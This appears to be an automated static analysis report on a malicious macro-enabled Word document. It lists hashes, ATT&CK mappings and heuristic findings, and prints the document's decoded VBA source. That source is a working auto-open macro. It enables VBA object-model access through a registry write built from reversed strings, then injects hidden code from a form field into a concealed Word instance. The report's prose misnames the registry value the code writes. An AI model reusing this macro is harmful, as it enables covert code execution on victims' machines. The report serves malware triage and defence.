Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 38a9ec9d9f5daf70…

MALICIOUS

Office (OOXML)

76.1 KB Created: 2021-05-04 08:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: ecdf5ab502d24a245e8207898e6c68e3 SHA-1: e097d0ae611f51a2acca512d7ef5a83921cb8ce7 SHA-256: 38a9ec9d9f5daf70c3443e78e38bd7bea26764361d9cd674f2f68fe0f52495dd
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059 Command and Scripting Interpreter T1204.002 Malicious File

This OOXML document contains VBA macros that execute upon opening via the AutoOpen subroutine. The script utilizes WScript.Shell to write a registry value to 'HKCU\Software\Microsoft\Office\16.0\Word\Security\IAccessible2Proxy', likely for persistence or to enable further malicious activity. The script also attempts to create a Word application object and inject code into its document, indicating an attempt to execute arbitrary commands.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub varBorderPointer(bufferIndexButton)
With CreateObject("wscript.shell")
.RegWrite bufferIndexButton, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub nextFuncConvert(selectRef As String)
Set deleteClass = CreateObject("word.application")
With deleteClass.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "procArgumentStorage"
Sub autoopen()
convertStorage
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1791 bytes
SHA-256: 10152800df2732b4691b857dc82120febad46f3d9d62bdbf1606ce7808a25218
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D9254748-54FF-40AA-8E57-00304566EA89}{53D1CE98-6AFD-451D-98BC-FA6BC4785C71}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "procArgumentStorage"
Sub autoopen()
convertStorage
Dim convertExceptionTitle As String
convertExceptionTitle = structView
nextFuncConvert convertExceptionTitle
End Sub

Attribute VB_Name = "dataLocalConst"
Sub nextFuncConvert(selectRef As String)
Set deleteClass = CreateObject("word.application")
With deleteClass.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString selectRef
End With
deleteClass.Visible = False
deleteClass.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "procLenNext"
Function selectIterator() As String
selectIterator = Application.Version
End Function
Sub varBorderPointer(bufferIndexButton)
With CreateObject("wscript.shell")
.RegWrite bufferIndexButton, 1, "REG_DWORD"
End With
End Sub
Sub convertStorage()
bufferIndexButton = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
counterPointer = selectIterator
deleteDatabaseLib = StrReverse("MOBVsseccA\ytiruceS\droW\")
varBorderPointer bufferIndexButton & counterPointer & deleteDatabaseLib
End Sub
Function structView()
structView = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 6706fb5c1f09eb6e2ec0e9b14a367b03e1ff260c51479cf5bf2be265639977f6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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